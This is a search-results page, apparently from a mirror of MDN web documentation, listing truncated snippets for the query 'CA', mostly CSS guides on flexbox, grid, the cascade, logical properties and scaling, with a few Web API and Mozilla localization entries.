Search completed in 1.52 seconds.
14063 results for "CA":
Your results are loading. Please wait...
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in this guide we will take a look at some of the common use cases for flexbox — those places where it makes more sense than another layout method.
... in a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another.
...you can read more about the difference between flexbox and css grid layout in relationship of flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of css layout.
...And 30 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
WebCSSCascade
the cascade is an algorithm that defines how to combine property values originating from different sources.
... it lies at the core of css, as emphasized by the name: cascading style sheets.
... this article explains what the cascade is, the order in which css declarations cascade, and how this affects you, the web developer.
...And 23 more matches
CSS Custom Properties for Cascading Variables - CSS: Cascading Style Sheets
css custom properties for cascading variables is a css module that allows for the creation of custom properties that can be used over and over.
... css properties --* specifications specification status comment css custom properties for cascading variables module level 1 candidate recommendation initial definition ...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
in these guides, i have already touched on an important feature of grid layout: the support for different writing modes that is built into the specification.
... for this guide, we will look at this feature of grid and other modern layout methods, learning a little about writing modes and logical vs.
... physical properties as we do so.
...And 45 more matches
font-variant-caps - CSS: Cascading Style Sheets
the font-variant-caps css property controls the use of alternate glyphs for capital letters.
... when a given font includes capital letter glyphs of multiple different sizes, this property selects the most appropriate ones.
... if petite capital glyphs are not available, they are rendered using small capital glyphs.
...And 24 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
given the flexibility of svg images, there's a lot to keep in mind when using them as background images with the background-image property, and even more to keep in mind when also scaling them using the background-size property.
... this article describes how scaling of svg images is handled when using these properties.
... the algorithm, in summary the algorithm can for the most part be summarized by these four rules.
...And 22 more matches
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
the logical properties and values specification defines flow-relative mappings for the various margin, border, and padding properties and their shorthands.
... if you have looked at the main page for css logical properties and values you will see there are a huge number of properties listed.
... mappings for margins, borders, and padding the specification details mappings for each logical value to a physical counterpart.
...And 20 more matches
calc() - CSS: Cascading Style Sheets
WebCSScalc
the calc() css function lets you perform calculations when specifying css property values.
... it can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
... syntax /* property: calc(expression) */ width: calc(100% - 80px); the calc() function takes a single expression as its parameter, with the expression's result used as the value.
...And 20 more matches
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
the logical properties and values specification introduces flow-relative mappings for many of the properties and values in css.
... this article introduces the specification, and explains flow relative properties and values.
... why do we need logical properties?
...And 17 more matches
Logical properties for floating and positioning - CSS: Cascading Style Sheets
the logical properties and values specification contains logical mappings for the physical values of float and clear, and also for the positioning properties used with positioned layout.
... mapped properties and values the table below details the properties and values discussed in this guide along with their physical mappings.
... logical property or value physical property or value float: inline-start float: left float: inline-end float: right clear: inline-start clear: left clear: inline-end clear: right inset-inline-start left inset-inline-end right inset-block-start top inset-block-end bottom text-align: start text-align: left text-align: end text-align: right in addition to these mapped properties there are some additional shorthand properties made possible by being able to address block and inline dimensions.
...And 17 more matches
caption-side - CSS: Cascading Style Sheets
the caption-side css property puts the content of a table's <caption> on the specified side.
... syntax /* directional values */ caption-side: top; caption-side: bottom; /* warning: non-standard values */ caption-side: left; caption-side: right; caption-side: top-outside; caption-side: bottom-outside; /* global values */ caption-side: inherit; caption-side: initial; caption-side: unset; the caption-side property is specified as one of the keyword values listed below.
... values top the caption box should be positioned above the table.
...And 13 more matches
Logical properties for sizing - CSS: Cascading Style Sheets
in this guide we will explain the flow-relative mappings between physical dimension properties and logical properties used for sizing elements on our pages.
... when specifying the size of an item, the logical properties and values specification gives you the ability to indicate sizing as it relates to the flow of text (inline and block) rather than physical sizing which relates to the physical dimensions of horizontal and vertical (e.g.
...while these flow relative mappings may well become the default for many of us, in a design you may well use both physical and logical sizing.
...And 12 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
the dom provides features that can test the results of a media query programmatically, via the mediaquerylist interface and its methods and properties.
... once you've created a mediaquerylist object, you can check the result of the query or receive notifications when the result changes.
... creating a media query list before you can evaluate the results of a media query, you need to create the mediaquerylist object representing the query.
...And 11 more matches
scale() - CSS: Cascading Style Sheets
the scale() css function defines a transformation that resizes an element on the 2d plane.
... because the amount of scaling is defined by a vector, it can resize the horizontal and vertical dimensions at different scales.
... this scaling transformation is characterized by a two-dimensional vector.
...And 11 more matches
Card - CSS: Cascading Style Sheets
this pattern is a list of "card" components with optional footers.
... requirements the card component can contain a variety of content, including a heading, image, content and a footer.
... each card should be the same height, and footers should stick to the bottom of the card.
...And 10 more matches
caret-color - CSS: Cascading Style Sheets
the caret-color css property sets the color of the insertion caret, the visible marker where the next character typed will be inserted.
...the caret appears in elements such as <input> or those with the contenteditable attribute.
... the caret is typically a thin vertical line that flashes to help make it more noticeable.
...And 9 more matches
scale3d() - CSS: Cascading Style Sheets
the scale3d() css function defines a transformation that resizes an element in 3d space.
... because the amount of scaling is defined by a vector, it can resize different dimensions at different scales.
... this scaling transformation is characterized by a three-dimensional vector.
...And 9 more matches
CSS Logical Properties and Values - CSS: Cascading Style Sheets
css logical properties and values is a module of css introducing logical properties and values that provide the ability to control layout through logical, rather than physical, direction and dimension mappings.
... the module also defines logical properties and values for properties previously defined in css 2.1.
... logical properties define direction‐relative equivalents of their corresponding physical properties.
...And 8 more matches
vertical-align - CSS: Cascading Style Sheets
the vertical-align css property sets vertical alignment of an inline, inline-block or table-cell box.
... the vertical-align property can be used in two contexts: to vertically align an inline element's box inside its containing line box.
... for example, it could be used to vertically position an <img> in a line of text: <p> top:<img style="vertical-align:top" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> middle:<img style="vertical-align:middle" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> bottom:<img style="vertical-align:bottom" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> super:<img style="vertical-align:super" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> sub:<img style="vertical-align:sub" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> <p> text-top:<img style="vertical-align:text-top" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> text-bottom:<img style="vertical-align:text-bottom" src="https://udn.realityr...
...And 8 more matches
font-optical-sizing - CSS: Cascading Style Sheets
the font-optical-sizing css property sets whether text rendering is optimized for viewing at different sizes.
... syntax /* keyword values */ font-optical-sizing: none; font-optical-sizing: auto; /* default */ /* global values */ font-optical-sizing: inherit; font-optical-sizing: initial; font-optical-sizing: unset; values none the browser will not modify the shape of glyphs for optimal viewing.
... description optical sizing is enabled by default for fonts that have an optical size variation axis.
...And 7 more matches
scale - CSS: Cascading Style Sheets
WebCSSscale
the scale css property allows you to specify scale transforms individually and independently of the transform property.
... this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform value.
... syntax /* keyword values */ scale: none; /* single values */ /* values of more than 1 make the element grow */ scale: 2; /* values of less than 1 make the element shrink */ scale: 0.5; /* two values */ scale: 2 0.5; /* three values */ scale: 2 0.5 2; values single number value a <number> specifying a scale factor to make the affected element scale by the same factor along both the x and y axes.
...And 7 more matches
scan - CSS: Cascading Style Sheets
WebCSS@mediascan
the scan css media feature can be used to test the scanning process (if any) utilized by the output device.
... the word scanning used in this context does not refer to an image scanner, such as one used to digitize a photograph.
... syntax the scan feature is specified as a single keyword value chosen from the list below.
...And 5 more matches
scaleZ() - CSS: Cascading Style Sheets
the scalez() css function defines a transformation that resizes an element along the z-axis.
... this scaling transformation modifies the z-coordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... the scaling is not isotropic, and the angles of the element are not conserved.
...And 5 more matches
:-moz-locale-dir(ltr) - CSS: Cascading Style Sheets
the :-moz-locale-dir(ltr) css pseudo-class is a mozilla extension that matches an element if the user interface is being displayed left-to-right.
... this is determined by the preference intl.uidirection.locale (where locale is the current locale) being set to "ltr".
... note: this selector is mainly used by extensions and themes to adapt the user interface based on the user's locale.
...And 4 more matches
:-moz-locale-dir(rtl) - CSS: Cascading Style Sheets
the :-moz-locale-dir(rtl) css pseudo-class is a mozilla extension that matches an element if the user interface is being displayed right-to-left.
... this is determined by the preference intl.uidirection.locale (where locale is the current locale) being set to "rtl".
... note: this selector is mainly used by extensions and themes to adapt the user interface based on the user's locale.
...And 4 more matches
scaleX() - CSS: Cascading Style Sheets
the scalex() css function defines a transformation that resizes an element along the x-axis (horizontally).
... it modifies the abscissa of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... the scaling is not isotropic, and the angles of the element are not conserved.
...And 4 more matches
scaleY() - CSS: Cascading Style Sheets
the scaley() css function defines a transformation that resizes an element along the y-axis (vertically).
... it modifies the ordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... the scaling is not isotropic, and the angles of the element are not conserved.
...And 4 more matches
RTCIceCandidateStats.localCandidateId - Web APIs
the rtcicecandidatepairstats property localcandidateid is a string that uniquely identifies the local ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for this pair of candidates.
... syntax localcandidateid = rtcicecandidatepairstats.localcandidateid; value a domstring giving a unique identifier for the local rtcicecandidate for the connection described by this rtcicecandidatepairstats object.
... this candidate is the source of one of the two rtcicecandidatestats objects that were used to compute the contents of this rtcicecandidatepairstats object.
...And 2 more matches
-webkit-touch-callout - CSS: Cascading Style Sheets
the -webkit-touch-callout css property controls the display of the default callout shown when you touch and hold a touch target.
... when a target is touched and held on ios, safari displays a callout information about the link.
... /* keyword values */ -webkit-touch-callout: default; -webkit-touch-callout: none; /* global values */ -webkit-touch-callout: initial; -webkit-touch-callout: inherit; -webkit-touch-callout: unset; syntax values default the default callout is displayed.
...And 2 more matches
Intl.getCanonicalLocales() - JavaScript
the intl.getcanonicallocales() method returns an array containing the canonical locale names.
... duplicates will be omitted and elements will be validated as structurally valid language tags.
... syntax intl.getcanonicallocales(locales) parameters locales a list of string values for which to get the canonical locale names.
...And 2 more matches
CanvasCaptureMediaStreamTrack.canvas - Web APIs
the canvascapturemediastreamtrack canvas read-only property returns the htmlcanvaselement from which frames are being captured.
... syntax var elt = stream.canvas; value an htmlcanvaselement indicating the canvas which is the source of the frames being captured.
... example // find the canvas element to capture var canvaselt = document.getelementsbytagname("canvas")[0]; // get the stream var stream = canvaselt.capturestream(25); // 25 fps // do things to the stream ...
... // obtain the canvas associated with the stream var canvas = stream.canvas; specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastreamtrack.canvas' in that specification.
grayscale() - CSS: Cascading Style Sheets
the grayscale() css function converts the input image to grayscale.
... syntax grayscale(amount) parameters amount the amount of the conversion, specified as a <number> or a <percentage>.
... a value of 100% is completely grayscale, while a value of 0% leaves the input unchanged.
... examples grayscale(0) /* no effect */ grayscale(.7) /* 70% grayscale */ grayscale(100%) /* completely grayscale */ specifications specification status filter effects module level 1the definition of 'grayscale()' in that specification.
::-webkit-search-cancel-button - CSS: Cascading Style Sheets
the ::-webkit-search-cancel-button css pseudo-element represents a button (the "cancel button") at the edge of an <input> of type="search" which clears away the current value of the <input> element.
... syntax selector::-webkit-search-cancel-button specifications not part of any standard.
Using the application cache - HTML: Hypertext Markup Language
using this application cache feature is highly discouraged; it’s in the process of being removed from the web platform.
... as of firefox 44+, when appcache is used to provide offline support for a page, a warning message displays in the console advising developers to use service workers instead (bug 1204581).
... introduction html5 provides an application caching mechanism that lets web applications run offline.
...And 110 more matches
Creating localizable web applications
an important step of developing a web application or creating web content is making sure that it can be localized.
... listed below are good practices and recommendations that should be followed in order to make your content easily localizable.
...in some cases, the code snippets were slightly changed to better illustrate the recommendations or for clarity.
...And 89 more matches
Variable fonts guide - CSS: Cascading Style Sheets
variable fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style.
... in such a scenario, in order to use a typeface for typical use on a site for body copy you would need at least four files: regular, italic, bold, and bold italic.
... if you wanted to add more weights, like a lighter one for captions or a heavier one for extra emphasis, that would mean several more files.
...And 50 more matches
Cascade and inheritance - Learn web development
overview: building blocks next the aim of this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved.
... while working through this lesson may seem less immediately relevant and a little more academic than some other parts of the course, an understanding of these things will save you much pain later on!
... we encourage you to work through this section carefully, and check that you understand the concepts before moving on.
...And 49 more matches
Application cache implementation overview
loading a top level document from offline cache this happens in nshttpchannel::opencacheentry().
... all top level document loading (navigation) channels are set chooseapplicationcache flag, which happens in nsdocshell::douriload().
... channels having that flag set are searching for nsiapplicationcache object prior inspecting normal http cache.
...And 49 more matches
<color> - CSS: Cascading Style Sheets
a <color> may also include an alpha-channel transparency value, indicating how the color should composite with its background.
... a <color> can be defined in any of the following ways: using a keyword (such as blue or transparent) using the rgb cubic-coordinate system (via the #-hexadecimal or the rgb() and rgba() functional notations) using the hsl cylindrical-coordinate system (via the hsl() and hsla() functional notations) note: this article describes the <color> data type in detail.
... note: although <color> values are precisely defined, their actual appearance may vary (sometimes significantly) from device to device.
...And 43 more matches
text-transform - CSS: Cascading Style Sheets
the text-transform css property specifies how to capitalize an element's text.
... it can be used to make text appear in all-uppercase or all-lowercase, or with each word capitalized.
... it also can help improve legibility for ruby.
...And 42 more matches
nsIApplicationCache
netwerk/base/public/nsiapplicationcache.idlscriptable this interface represents an application cache, which stores resources for offline use.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) each application cache has a unique client id for use with nsicacheservice.opensession() method, to access the cache's entries.
... each entry in the cache can be marked with a set of types, specified in the constants section.
...And 40 more matches
NSS Certificate Download Specification
this document describes the data formats used by nss 3.x for installing certificates.
... data formats nss can accept certificates in several formats.
... in all cases the certificates are x509 version 1, 2, or 3.
...And 37 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
the flexible box module, usually referred to as flexbox, was designed as a one-dimensional layout model, and as a method that could offer space distribution between items in an interface and powerful alignment capabilities.
...this can be contrasted with the two-dimensional model of css grid layout, which controls columns and rows together.
... you can read more about the relationship between flexbox and the writing modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in.
...And 37 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
in spring of 2017, we saw for the first time a major specification like grid being shipped into browsers almost simultaneously, and we now have css grid layout support in the public versions of firefox, chrome, opera, safari and edge.
...this is no longer an experimental specification, and you are safe to use it in production.
...this early specification did not contain all of the properties and values that the up-to-date specification has.
...And 37 more matches
Color picker tool - CSS: Cascading Style Sheets
<div id="color-info"> <div class="title"> css color </div> </div> </div> <div id="picker" class="block"> <div class="ui-color-picker" data-topic="picker" data-mode="hsl"></div> <div id="picker-samples" sample-id="master"></div> <div id="controls"> <div id="delete"> <div id="trash-can"></div> </div> <div id="void-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-pic...
...r-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; ...
... text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * color picker tool */ body { max-width: 1000px; margin: 0 auto; font-family: "s...
...And 36 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
we’ll find out which specifications you also need to take notice of if you want to learn flexbox, and find out why flexbox is different to some other modules.
... note: css versions 1 and 2 were a single monolithic specification where all of css was defined in one large document.
... as css became a more feature rich language, maintaining one huge specification became problematic, with different parts of css moving on at different speeds.
...And 36 more matches
Using media queries - CSS: Cascading Style Sheets
multiple queries can be combined in various ways by using logical operators.
... media queries are case-insensitive.
... media types media types describe the general category of a device.
...And 36 more matches
OpenType font features guide - CSS: Cascading Style Sheets
in addition to broad feature sets like ligatures or lining figures (numerals that line up evenly as opposed to 'oldstyle', which look more like lower-case letters), there are also very specific ones such as stylistic sets (which might include several specific variants of glyphs meant to be used together), alternates (which might be one or more variants of the letter 'a'), or even language-specific alterations for east asian languages.
... in the latter case, these alterations are actually necessary to properly express the language, so they go beyond the more stylistic preference of most other opentype features.
... caution: there are many css attributes defined to leverage font features, but unfortunately many are not fully implemented.
...And 35 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
in addition to the ability to place items accurately onto a created grid, the css grid layout specification contains rules that control what happens when you create a grid and do not place some or all of the child items.
... you can see auto-placement in action in the simplest of ways by creating a grid on a set of items.
...wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for auto-placement as you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell.
...And 35 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
grids can be used to lay out major page areas or small user interface elements.
... this article introduces the css grid layout and the new terminology that is part of the css grid layout level 1 specification.
... a grid is a set of intersecting horizontal and vertical lines defining columns and rows.
...And 35 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
to round off this set of guides to css grid layout, i am going to walk through a few different layouts, which demonstrate some of the different techniques you can use when designing with grid layout.
... we will look at an example using grid-template-areas, a typical 12-column flexible grid system, and also a product listing using auto-placement.
... as you can see from this set of examples, there is often more than one way to achieve the result you want with grid layout.
...And 35 more matches
Using CSS gradients - CSS: Cascading Style Sheets
you can choose between three types of gradients: linear (created with the linear-gradient() function), radial (created with radial-gradient()), and conic (created with the conic-gradient() function).
... you can also create repeating gradients with the repeating-linear-gradient(), repeating-radial-gradient(), and repeating-conic-gradient() functions.
... gradients can be used anywhere you would use an <image>, such as in backgrounds.
...And 34 more matches
Localization technical reviews
this guide provides details on what a localization technical review is, what criteria are used for the technical reviews, and the process for requesting one and following its progress.
... the technical review process we use for new localizations can be confusing for any trying to start a new localization.
...this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product.
...And 33 more matches
calICalendarView - Archive of obsolete content
summary an object implementing calicalendarview is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a visual representation of calievent and calitodo objects.
... because of this close association between methods and attributes on the one hand, and content on the other, calicalendarview implementations are particularly well suited to xbl.
... there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes.
...And 31 more matches
Using CSS animations - CSS: Cascading Style Sheets
animations consist of two components, a style describing the css animation and a set of keyframes that indicate the start and end states of the animation’s style, as well as possible intermediate waypoints.
... there are three key advantages to css animations over traditional script-driven animation techniques: they’re easy to use for simple animations; you can create them without even having to know javascript.
...simple animations can often perform poorly in javascript (unless they’re well made).
...And 31 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
the two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with grid.
...two-dimensional layout a simple example can demonstrate the difference between one- and two-dimensional layouts.
...i have five child items in my container, and i have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels.
...And 31 more matches
filter - CSS: Cascading Style Sheets
WebCSSfilter
the filter css property applies graphical effects like blur or color shift to an element.
...you can also reference an svg filter with a url to an svg filter element.
... syntax /* url to svg filter */ filter: url("filters.svg#filter-id"); /* <filter-function> values */ filter: blur(5px); filter: brightness(0.4); filter: contrast(200%); filter: drop-shadow(16px 16px 20px blue); filter: grayscale(50%); filter: hue-rotate(90deg); filter: invert(75%); filter: opacity(25%); filter: saturate(30%); filter: sepia(60%); /* multiple filters */ filter: contrast(175%) brightness(3%); /* use no filter */ filter: none; /* global values */ filter: inherit; filter: initial; filter: unset; with a function, use the following: filter: <filter-function> [<filter-function>]* | none for a reference...
...And 31 more matches
Grid template areas - CSS: Cascading Style Sheets
when you use css grid layout you always have lines, and this can be a straightforward way to place items on your grid.
... however, there is an alternate method to use for positioning items on the grid which you can use alone or in combination with line-based placement.
...you will see very quickly why we sometimes call this the ascii-art method of grid layout!
...And 30 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
flex-shrink: how much negative free space can be removed from this item?
...here we will explore them in depth in order that you can fully understand what the browser is doing when you use them.
... there is a concept in css of min-content and max-content — these keywords are defined in the css intrinsic and extrinsic sizing specification, and can be used in place of a length unit.
...And 29 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
one of the reasons that flexbox quickly caught the interest of web developers is that it brought proper alignment capabilities to the web for the first time.
... it enabled proper vertical alignment, so we can at last easily center a box.
... in this guide, we will take a thorough look at how the alignment and justification properties work in flexbox.
...And 28 more matches
CSS values and units - CSS: Cascading Style Sheets
depending on the property, the value can include a single integer or keyword, to a series of keywords and values with or without units.
...css identifiers, listed in the specifications as <ident> or <custom-ident>, must be unquoted.
... in the css specifications, values that can be defined by the web developer, like keyframe animations, font-family names, or grid areas are listed as a <custom-ident>, <string>, or both.
...And 28 more matches
display - CSS: Cascading Style Sheets
WebCSSdisplay
some values of display are fully defined in their own individual specifications; for example the detail of what happens when display: flex is declared is defined in the css flexible box model specification.
... see the table at the end of this document for all of the individual specifications.
...keyword values are grouped into six value categories: .container { display: [ <display-outside> || <display-inside> ] | <display-listitem> | <display-internal> | <display-box> | <display-legacy> ; } outside <display-outside> these keywords specify the element’s outer display type, which is essentially its role in flow layout.
...And 28 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
the amazing netscape fish cam page has been restructured and restyled for the new millennium, ditching tables for strong and accessible markup.
...i was privileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a new millennium.
... to put that in perspective, i remember when the fish cam page first appeared and word of it circulated around the internet.
...And 26 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
in this article we will take a look at ways in which you can change the visual order of your content when using flexbox.
... we will also consider the implications of reordering items from an accessibility point of view.
... reverse the display of the items the flex-direction property can take one of four values: row column row-reverse column-reverse the first two values ​​keep the items in the same order that they appear in the document source order and display them sequentially from the start line.
...And 26 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
those of us who have been doing web development for more years than we care to remember might consider that css grid is a little bit like using “tables for layout”.
...this had some advantages over the “css positioning” that came afterwards, in that we could take advantage of the alignment and full height columns offered by table display.
...sites such as the css zen garden showcased this ability.
...And 24 more matches
Value definition syntax - CSS: Cascading Style Sheets
in addition to this syntax, the set of valid values can be further restricted by semantic constraints (for example, for a number to be strictly positive).
...a component can be a keyword, some characters considered as a literal, or a value of a given css data type or of another css property.
... the specific case of inherit, initial and unset all css properties accept the keywords inherit, initial and unset, that are defined throughout css.
...And 24 more matches
background-size - CSS: Cascading Style Sheets
the image can be left to its natural size, stretched, or constrained to fit the available space.
... using a width value only, in which case the height defaults to auto.
... using both a width and a height value, in which case the first sets the width and the second sets the height.
...And 24 more matches
cursor - CSS: Cascading Style Sheets
WebCSScursor
the browser will try to load the first image specified, falling back to the next if it can't, and falling back to the keyword value if no images could be loaded (or if none were specified).
... for example, this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a comma separated list url(…), url(…), …, pointing to an image file.
... more than one <url> may be provided as fallbacks, in case some cursor image types are not supported.
...And 24 more matches
writing-mode - CSS: Cascading Style Sheets
the writing-mode css property sets whether lines of text are laid out horizontally or vertically, as well as the direction in which blocks progress.
... syntax /* keyword values */ writing-mode: horizontal-tb; writing-mode: vertical-rl; writing-mode: vertical-lr; /* global values */ writing-mode: inherit; writing-mode: initial; writing-mode: unset; the writing-mode property is specified as one of the values listed below.
... vertical-rl for ltr scripts, content flows vertically from top to bottom, and the next vertical line is positioned to the left of the previous line.
...And 24 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
in this article we will fully explore how this fundamental feature of the specification works.
... starting your exploration of grid with numbered lines is the most logical place to begin, as when you use grid layout you always have numbered lines.
... a basic example as a very simple example we can take a grid with 3 column tracks and 3 row tracks.
...And 23 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
the css shapes level 1 specification describes geometric shapes in css.
... they are, in level 1 of the specification, designed to be applied to floated items.
... this article provides an overview of what you can do with shapes.
...And 23 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
tutorial: show allocations per call path this page shows how to use the debugger api to show how many objects a web page allocates, sorted by the function call path that allocated them.
...components.utils.import('resource://gre/modules/jsdebugger.jsm'); adddebuggertoglobal(window); (function () { // the debugger we'll use to observe a tab's allocation.
... window.demotrackallocations = function() { dbg = new debugger; // this makes hacking on the demo *much* more // pleasant.
...And 22 more matches
Border-image generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-image values.
... upload image </div> <input id="remote-url" type="text" placeholder="load an image from url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" data-unit="%" data-max="300" data-sensivity="10"> </div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </...
... <div class="guideline" data-axis="y" data-topic="slice-bottom"></div> <div class="guideline" data-axis="x" data-topic="slice-left"></div> </div> <div id="preview"> </div> </div> <!-- controls --> <div id="controls" class="group section"> <!-- border-image-slice --> <div id="border-slice-control" class="category"> <div class="title"> border-image-slice </div> <div class="property"> <div class="name">fill</div> <div class="ui-checkbox" data-topic='slice-fill'></div> </div> </div> <!-- border-image-width --> <div id="border-width-control" class="category"> <div ...
...And 22 more matches
Block and inline layout in normal flow - CSS: Cascading Style Sheets
normal flow is defined in the css 2.1 specification, which explains that any boxes in normal flow will be part of a formatting context.
... they can be either block or inline, but not both at once.
... the behaviour of elements which have a block or inline formatting context is also defined in this specification.
...And 22 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout implements the specification box alignment level 3 which is the same standard flexbox uses for aligning items in its flex container.
... this specification details how alignment should work in all the different layout methods.
... layout methods will conform to the specification where possible and implement individual behavior based on their differences (features and constraints).
...And 22 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
ic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title"> tool settings </div> <div class="property"> <div class="name"> alpha background </div> <div id="canvas-bg"></div> <div id="add-axis" class="button"> add line </div> </div> <div id="order"> <div id="gradient-axes"></div> <div id="gradient-order"></div> </div> </div> </div> <div id="output"> <div class="css-property"> <span class="pr...
...r-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider * { float: left; height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; ...
... text-transform: lowercase; line-height: inherit; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * ui slider */ .ui-slider { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; ...
...And 22 more matches
Localization Use Cases
this article documents a few opportunities to improve the localization of gaia (the ui layer of firefox os) by using l20n.
... in all presented examples, we try to show the existing code, explain the problem from the localizers' or developers' perspective, and suggest a solution.
... declensions in gaia's browser app, there's an about-browser string defined as follows in apps/browser/locales/browser: about-browser=about {{browserbrandshortname}} problem definition in many inflected languages (e.g.
...And 21 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
naming lines when defining a grid you can assign some or all of the lines in your grid a name when you define your grid with the grid-template-rows and grid-template-columns properties.
...those names can be anything you like.
